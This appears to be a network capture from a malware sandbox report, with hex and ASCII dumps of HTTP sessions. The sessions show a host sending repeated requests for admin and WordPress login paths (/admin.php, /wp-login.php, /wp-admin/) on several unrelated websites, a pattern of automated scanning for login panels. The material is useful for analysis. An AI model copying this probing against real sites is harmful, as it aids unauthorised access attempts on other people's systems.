html><html data-adblockkey="MFwwDQYJKoZIhvcNAQEBBQADSwAwSAJBALquDFETXRn0Hr05fUP7EJT77xYnPmRbpMy4vk8KYiHnkNpednjOANJcaXDXcKQJN0nXKZJL7TciJD8AoHXK158CAwEAAQ==_Ld2Ca+3wF6mI1ISnAbrZA8D8qJAkFIvzydl0/oCz8L9536Mg796LMKhOpgF1OMYwIHkvY5L1NHrU9i83JAvb3A==" xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"><head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no"/> <title>furnscales.com</title> <script src="//www.google.com/adsense/domains/caf.js?abp=1"></script> <style media="screen">.asset_star0 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star0.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.asset_star1 {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/star1.gif') no-repeat center;width: 13px;height: 12px;dis
Dec 2, 2023 18:04:41.554517984 CET	1274	IN	Data Raw: 70 6c 61 79 3a 20 69 6e 6c 69 6e 65 2d 62 6c 6f 63 6b 3b 0a 7d 0a 0a 2e 61 73 73 65 74 5f 73 74 61 72 48 20 7b 0a 09 62 61 63 6b 67 72 6f 75 6e 64 3a 20 75 72 6c 28 27 2f 2f 64 33 38 70 73 72 6e 69 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e Data Ascii: play: inline-block;}.asset_starH {background: url('//d38psrni17bvxu.cloudfront.net/themes/assets/starH.gif') no-repeat center;width: 13px;height: 12px;display: inline-block;}.sitelink {padding-right: 16px;}.sellerRatings a:l
Dec 2, 2023 18:04:41.554536104 CET	1274	IN	Data Raw: 31 37 62 76 78 75 2e 63 6c 6f 75 64 66 72 6f 6e 74 2e 6e 65 74 2f 74 68 65 6d 65 73 2f 63 6c 65 61 6e 50 65 70 70 65 72 6d 69 6e 74 42 6c 61 63 6b 5f 36 35 37 64 39 30 31 33 2f 69 6d 67 2f 62 6f 74 74 6f 6d 2e 70 6e 67 27 29 20 6e 6f 2d 72 65 70 Data Ascii: 17bvxu.cloudfront.net/themes/cleanPeppermintBlack_657d9013/img/bottom.png') no-repeat center bottom; padding-bottom:140px;}.wrapper3 { background:#fff; max-width:300px; margin:0 auto 1rem; padding-top:1px; padding-bo
Dec 2, 2023 18:04:41.554553986 CET	1274	IN	Data Raw: 67 68 74 3a 36 30 30 70 78 3b 0a 20 20 20 20 7d 0a 0a 20 20 20 20 2e 77 72 61 70 70 65 72 33 20 7b 0a 20 20 20 20 20 20 20 20 6d 61 78 2d 77 69 64 74 68 3a 35 33 30 70 78 3b 0a 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 Data Ascii: ght:600px; } .wrapper3 { max-width:530px; background:none; }}</style> </head><body id="afd" style="visibility:hidden"><div id="reg-banner" class="reg-banner"> <style> .reg-banner { box-sizing:bo
Dec 2, 2023 18:04:41.554569960 CET	1274	IN	Data Raw: 77 2e 6e 65 74 77 6f 72 6b 73 6f 6c 75 74 69 6f 6e 73 2e 63 6f 6d 2f 63 6f 6e 74 65 6e 74 2f 65 78 70 65 72 69 65 6e 63 65 2d 66 72 61 67 6d 65 6e 74 73 2f 6e 65 74 73 6f 6c 2f 73 69 74 65 2d 68 65 61 64 65 72 2f 6d 61 73 74 65 72 2f 5f 6a 63 72 Data Ascii: w.networksolutions.com/content/experience-fragments/netsol/site-header/master/_jcr_content/root/header/logo.coreimg.svg/1633719265272/160x62-full-logo-transparent-bg.svg" class="reg-logo" alt="furnscales.com expired on and is pending renewal
Dec 2, 2023 18:04:41.661151886 CET	1274	IN	Data Raw: 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 68 65 61 64 65 72 2d 74 65 78 74 2d 63 6f 6c 6f 72 22 3e 66 75 72 6e 73 63 61 6c 65 73 2e 63 6f 6d 20 65 78 70 69 72 65 64 20 6f 6e 20 20 61 6e 64 20 69 73 20 70 65 6e 64 69 6e 67 20 72 65 6e 65 77 61 6c 20 Data Ascii: <span class="header-text-color">furnscales.com expired on and is pending renewal or deletion.</span> </div> <div style="grid-column: 1 / span 2; justify-self: end"> <a target="_blank" href="//ads.networksolutions.com/landing?c
Dec 2, 2023 18:04:41.661185980 CET	1274	IN	Data Raw: 6d 59 77 4d 54 59 32 59 6a 6c 69 4d 57 56 6c 4e 32 4a 68 4d 6a 59 79 4f 44 63 35 4d 6d 55 79 4f 47 55 78 4f 44 4e 6c 4d 32 55 30 4d 6d 55 34 4d 32 4d 79 4f 54 41 30 4d 57 52 69 59 7a 45 25 33 44 2a 22 3e 52 65 76 69 65 77 20 6f 75 72 20 50 72 69 Data Ascii: mYwMTY2YjliMWVlN2JhMjYyODc5MmUyOGUxODNlM2U0MmU4M2MyOTA0MWRiYzE%3D*">Review our Privacy Policy</a><br><br><a href="https://assets.web.com/legal/English/MSA/v1.0.0.3/ServicesAgreement.pdf">Service Agreement</a><br><br><a href="https://www.ne
Dec 2, 2023 18:04:41.661201000 CET	1274	IN	Data Raw: 70 61 72 65 6e 74 27 2c 0a 20 20 20 20 20 20 20 20 27 63 6f 6c 6f 72 53 65 61 72 63 68 42 75 74 74 6f 6e 27 3a 20 27 23 30 62 33 32 37 39 27 2c 0a 20 20 20 20 20 20 20 20 27 63 6f 6c 6f 72 53 65 61 72 63 68 42 75 74 74 6f 6e 54 65 78 74 27 3a 20 Data Ascii: parent', 'colorSearchButton': '#0b3279', 'colorSearchButtonText': '#fff' }; </script><script type="text/javascript">var isAdult=false; var containerNames=[]; var uniqueTrackingID='MTcwMTUzNjY4MS4zODYyOjczMmIwMj
Dec 2, 2023 18:04:41.661220074 CET	1274	IN	Data Raw: 6c 6c 65 64 41 72 67 75 6d 65 6e 74 73 20 3d 20 66 61 6c 73 65 3b 0a 0a 76 61 72 20 70 61 67 65 4f 70 74 69 6f 6e 73 20 3d 20 7b 0a 20 20 20 20 27 70 75 62 49 64 27 3a 20 27 64 70 2d 74 65 61 6d 69 6e 74 65 72 6e 65 74 30 31 27 2c 0a 20 20 20 20 Data Ascii: lledArguments = false;var pageOptions = { 'pubId': 'dp-teaminternet01', 'resultsPageBaseUrl': '//' + location.host + '/?ts=', 'fontFamily': 'arial', 'optimizeTerms': true, 'maxTermLength': 40, 'adtest': true, 'cli
Dec 2, 2023 18:04:41.661825895 CET	1274	IN	Data Raw: 69 6e 65 72 4e 61 6d 65 20 69 6e 20 63 6f 6e 74 61 69 6e 65 72 4e 61 6d 65 73 29 20 7b 0a 0a 20 20 20 20 20 20 20 20 20 20 20 20 76 61 72 20 64 61 74 61 20 3d 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6e 74 61 69 6e 65 72 4e Data Ascii: inerName in containerNames) { var data = { containerName: containerName, adsLoaded: adsLoaded, isExperimentVariant: isExperimentVariant, callbackOptions: callbackOpti
Dec 2, 2023 18:04:41.767745972 CET	1274	IN	Data Raw: 73 2e 65 72 72 6f 72 63 6f 64 65 3b 0a 20 20 20 20 20 20 20 20 7d 0a 0a 20 20 20 20 20 20 20 20 69 66 20 28 73 74 61 74 75 73 2e 65 72 72 6f 72 5f 63 6f 64 65 29 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 61 6a 61 78 51 75 65 72 79 28 73 63 72 Data Ascii: s.errorcode; } if (status.error_code) { ajaxQuery(scriptPath + "/track.php?domain=" + encodeURIComponent(domain) + "&caf=1&toggle=errorcode&code=" + encodeURIComponent(status.error_code) + "&uid=" + encodeURICompon

Session ID	Source IP	Source Port	Destination IP	Destination Port
96	192.168.2.7	58745	81.68.211.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:41.381932020 CET	222	OUT	GET /admin.php HTTP/1.1 Host: yekai.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:41.705437899 CET	1340	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Encoding: gzip Expires: Thu, 19 Nov 1981 08:52:00 GMT Vary: Accept-Encoding Server: Microsoft-IIS/10.0 X-UA-Compatible: IE=edge,chrome=1 X-Powered-By: PbootCMS Set-Cookie: PbootSystem=scg0n10jei483ec36vf7jkehl9; path=/ X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:40 GMT Content-Length: 1678 Data Raw: 1f 8b 08 00 00 00 00 00 04 00 ed bd 07 60 1c 49 96 25 26 2f 6d ca 7b 7f 4a f5 4a d7 e0 74 a1 08 80 60 13 24 d8 90 40 10 ec c1 88 cd e6 92 ec 1d 69 47 23 29 ab 2a 81 ca 65 56 65 5d 66 16 40 cc ed 9d bc f7 de 7b ef bd f7 de 7b ef bd f7 ba 3b 9d 4e 27 f7 df ff 3f 5c 66 64 01 6c f6 ce 4a da c9 9e 21 80 aa c8 1f 3f 7e 7c 1f 3f 22 1e ff ae 4f bf 3c 79 f3 fb bc 3c 4d e7 ed a2 3c 4a 1e 9b 1f 79 36 a3 1f 8b bc cd d2 e9 3c ab 9b bc fd ec a3 75 7b be 7d f0 91 f9 78 99 2d f2 cf 3e ba 2c f2 ab 55 55 b7 1f a5 d3 6a d9 e6 4b 6a 76 55 cc da f9 67 b3 fc b2 98 e6 db fc c7 28 2d 96 45 5b 64 e5 76 33 cd ca fc b3 dd 51 ba c8 de 15 8b f5 c2 7c d0 81 5a e7 cb 59 5e e7 f5 47 a9 07 36 9f bc 2d 5a 34 6c 8b b6 cc 8f 5e 4e aa aa 3d f9 e2 f5 7f f9 37 fc c5 ff e5 9f f4 47 fc 67 7f d7 5f ff 9f ff 83 7f e8 f6 4f de 1b ef 8d ef 6f ef ed ec dd db d9 df db 7d 7c 57 da 26 8f cb 62 f9 36 ad f3 f2 b3 8f 9a 39 a1 3b 5d b7 69 41 a0 3f 4a e7 75 7e fe d9 47 77 cf 33 42 b7 5a 8e e9 9f 8f d2 f6 7a 45 48 14 8b ec 22 bf fb 6e 9b 3e 5a a2 5b 0f 44 7b 5d e6 cd 3c cf 69 d8 fa 7e b6 5a 35 77 b3 d9 a2 58 de 05 49 ee ce f2 f3 6c 5d b6 77 cb ec 7a 5d dc 9d 36 8d fc 36 a6 df 7e 8f cb cf 2e 09 c9 f1 fe d7 06 7a 4e 34 d9 ce ae f2 a6 5a e4 0c db ff 60 4c cd 4d 37 fb e3 07 e3 1d 33 9e 36 7f d7 a2 f5 d7 ee 96 de bd 5b 56 17 0e fc ee 78 77 fc 29 c0 35 d3 ba 58 b5 7e 3f 3f 9d 5d 66 f2 e9 47 69 53 4f 37 40 fd e9 e6 ee 4f ff a2 75 5e 5f 6f 13 b8 bd f1 3e e3 ff d3 84 e5 e3 bb 02 80 e0 df 15 7e 4c 1e 4f aa d9 f5 51 f2 63 c9 e3 59 71 99 4e cb ac 69 88 2d 9b bc de 66 bc 3e 4a e9 bb f8 57 db 8b 8c be a7 af 87 be 47 0f c4 70 68 f1 63 8f e7 7b f2 b3 58 5c dc 80 3d 33 09 93 a5 1a af 96 17 44 c3 bc b8 98 13 bb ee ef 08 ac 18 9b e2 73 1a 93 76 b2 3a fa af ff da 3f eb bf f8 d3 ff a8 ff f4 0f fa 83 ff cb bf e1 0f fa 2f fe b6 3f 98 7e f9 cf ff be bf e7 bf f8 43 fe f8 ff f2 cf f9 c3 5e 7e fb e5 7f f6 f7 fd c1 ff d9 df f5 e7 fc 97 7f ff 9f fc 5f fe b5 7f b6 40 f9 2f ff d6 bf f7 bf fc 7b ff c2 c7 77 57 00 f0 f8 2e 0d 08 bf d0 ff 1e 9f 57 f5 22 cd a6 6d 51 2d 81 34 f0 1d af e6 ab df 63 f5 d9 dd 33 12 a9 77 40 94 e8 90 a6 d5 b2 59 4f 16 05 21 5a e7 ed ba 5e a6 e7 59 d9 e4 24 c5 42 18 66 d6 6d 40 fb 28 2d 66 9f 7d 34 ab e4 45 f4 43 64 59 ae 48 7e 64 b6 e7 c5 6c 96 13 44 11 5c bc 31 9d e7 d3 b7 f2 9a f7 e7 65 56 ae a9 c1 64 6f 77 7f 7a 3e 3d b8 b7 77 30 dd 9b ee 3d d8 7f b0 3b 7d b0 33 39 d8 cd 27 7b f9 ee 0e 31 eb 51 ca 7d d0 a0 0c 32 de 2c 4d aa 77 82 43 d0 c0 61 bb 5d b4 f9 42 5b fc d8 e3 32 9b e4 a5 69 e4 41 81 44 a7 f2 52 e7 d7 6d b4 c2 50 c0 7e fc ba 81 Data Ascii: `I%&/m{JJt`$@iG#)*eVe]f@{{;N'?\fdlJ!?~\|?"O<y<M<Jy6<u{}x->,UUjKjvUg(-E[dv3Q\|ZY^G6-Z4l^N=7Gg_Oo}\|W&b69;]iA?Ju~Gw3BZzEH"n>Z[D{]<i~Z5wXIl]wz]66~.zN4Z`LM736[Vxw)5X~??]fGiSO7@Ou^_o>~LOQcYqNi-f>JWGphc{X\=3Dsv:?/?~C^~_@/{wW.W"mQ-4c3w@YO!Z^Y$Bfm@(-f}4ECdYH~dlD\1eVdowz>=w0=;}39'{1Q}2,MwCa]B[2iADRmP~
Dec 2, 2023 18:04:41.705455065 CET	891	IN	Data Raw: 25 63 c6 57 02 0a bf c9 20 dd 5f 42 11 f0 ff 47 80 b9 7d 99 d7 c5 f9 35 48 fc 8b d6 45 9d cf 3e 4a 57 65 36 cd e7 55 49 ac f6 d9 47 ff e5 9f f6 57 fd 17 7f d4 df f9 9f ff 49 7f fc 47 69 b6 6e ab 69 b5 58 95 79 4b 10 aa f3 f3 ce 4c 70 ef 3a 2e 3b Data Ascii: %cW _BG}5HE>JWe6UIGWIGiniXyKLp:.;+6FWU=H"M?M<DI]]/#Nr]5uKtV3aMI"#A[O!9koO!W9x6,}jGG"e

Session ID	Source IP	Source Port	Destination IP	Destination Port
97	192.168.2.7	58742	81.68.211.71	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:41.381978035 CET	218	OUT	GET /admin HTTP/1.1 Host: yekai.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:41.710587025 CET	1081	IN	HTTP/1.1 404 Not Found Content-Type: text/html; charset=utf-8 Server: Microsoft-IIS/10.0 X-UA-Compatible: IE=edge,chrome=1 X-Powered-By: PbootCMS Set-Cookie: lg=cn; path=/ X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:40 GMT Content-Length: 766 Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e e9 94 99 e8 af af e4 bf a1 e6 81 af 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 30 22 20 2f 3e 0a 09 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 61 70 70 6c 65 2d 6d 6f 62 69 6c 65 2d 77 65 62 2d 61 70 70 2d 63 61 70 61 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 79 65 73 22 20 2f 3e 0a 3c 2f 68 65 61 64 3e 0a 3c 62 6f 64 79 3e 0a 0a 0a 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 31 30 25 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 35 25 3b 22 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e 3c 69 6d 67 20 73 72 63 3d 22 2f 63 6f 72 65 2f 74 65 6d 70 6c 61 74 65 2f 66 61 63 65 30 32 2e 70 6e 67 22 20 68 65 69 67 68 74 3d 22 31 32 30 22 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 32 30 70 78 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 32 30 70 78 3b 22 3e e6 82 a8 e8 ae bf e9 97 ae e7 9a 84 e9 a1 b5 e9 9d a2 e4 b8 8d e5 ad 98 e5 9c a8 ef bc 8c e8 af b7 e6 a0 b8 e5 af b9 e5 90 8e e9 87 8d e8 af 95 ef bc 81 20 3c 73 70 61 6e 20 69 64 3d 22 74 69 6d 65 22 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 38 70 78 3b 22 3e 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 20 20 20 20 3c 64 69 76 3e 3c 73 70 61 6e 20 73 74 79 6c 65 3d 22 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 62 6f 72 64 65 72 2d 74 6f 70 3a 31 70 78 20 73 6f 6c 69 64 20 23 63 63 63 3b 63 6f 6c 6f 72 3a 23 63 63 63 3b 70 61 64 64 69 6e 67 2d 74 6f 70 3a 32 70 78 3b 22 3e 0a 20 20 20 09 09 e7 a8 8b e5 ba 8f e7 89 88 e6 9c ac ef bc 9a 33 2e 32 2e 35 2d 32 30 32 33 30 34 32 31 0a 20 20 20 20 3c 2f 73 70 61 6e 3e 3c 2f 64 69 76 3e 0a 3c 2f 64 69 76 3e 0a 0a 0a 0a 3c 2f 62 6f 64 79 3e 0a 3c 2f 68 74 6d 6c 3e Data Ascii: <!doctype html><html><head> <meta charset="utf-8"> <title></title> <meta name="viewport" content="width=device-width, initial-scale=1.0, minimum-scale=1.0, maximum-scale=1.0, user-scalable=0" /><meta name="apple-mobile-web-app-capable" content="yes" /></head><body><div style="margin-left:10%;margin-top:5%;"> <div style="margin-bottom:20px;"><img src="/core/template/face02.png" height="120"></div> <div style="font-size:20px;margin-bottom:20px;"> <span id="time" style="font-size:18px;"></span></div> <div><span style="font-size:12px;border-top:1px solid #ccc;color:#ccc;padding-top:2px;"> 3.2.5-20230421 </span></div></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
98	192.168.2.7	58739	46.254.37.204	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:41.382072926 CET	235	OUT	GET /wp-login.php HTTP/1.1 Host: giannicastellani.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:41.586148977 CET	514	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:04:41 GMT Server: Apache Content-Length: 315 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Dec 2, 2023 18:04:41.650857925 CET	282	OUT	GET /wp-admin/ HTTP/1.1 Host: giannicastellani.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://giannicastellani.it/wp-login.php
Dec 2, 2023 18:04:41.854036093 CET	514	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:04:41 GMT Server: Apache Content-Length: 315 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
99	192.168.2.7	58754	46.254.37.204	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:41.382406950 CET	235	OUT	GET /wp-login.php HTTP/1.1 Host: giannicastellani.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:41.586133957 CET	514	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:04:41 GMT Server: Apache Content-Length: 315 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>
Dec 2, 2023 18:04:41.650589943 CET	282	OUT	GET /wp-admin/ HTTP/1.1 Host: giannicastellani.it Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0 Referer: http://giannicastellani.it/wp-login.php
Dec 2, 2023 18:04:41.854017973 CET	514	IN	HTTP/1.1 404 Not Found Date: Sat, 02 Dec 2023 17:04:41 GMT Server: Apache Content-Length: 315 Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 0a 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 3c 2f 70 3e 0a 3c 70 3e 41 64 64 69 74 69 6f 6e 61 6c 6c 79 2c 20 61 20 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 0a 65 72 72 6f 72 20 77 61 73 20 65 6e 63 6f 75 6e 74 65 72 65 64 20 77 68 69 6c 65 20 74 72 79 69 6e 67 20 74 6f 20 75 73 65 20 61 6e 20 45 72 72 6f 72 44 6f 63 75 6d 65 6e 74 20 74 6f 20 68 61 6e 64 6c 65 20 74 68 65 20 72 65 71 75 65 73 74 2e 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p><p>Additionally, a 404 Not Founderror was encountered while trying to use an ErrorDocument to handle the request.</p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.7	58746	218.20.227.130	80

Timestamp	Bytes transferred	Direction	Data
Dec 2, 2023 18:04:41.382435083 CET	225	OUT	GET /wp-login.php HTTP/1.1 Host: gztit.com Accept: / Accept-Encoding: deflate, gzip User-Agent: Mozilla/5.0 (Windows NT 6.0; rv:34.0) Gecko/20100101 Firefox/34.0
Dec 2, 2023 18:04:41.720398903 CET	1340	IN	HTTP/1.1 404 Not Found Content-Type: text/html Server: Microsoft-IIS/7.5 X-Powered-By: ASP.NET Date: Sat, 02 Dec 2023 17:04:30 GMT Content-Length: 1163 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 53 74 72 69 63 74 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 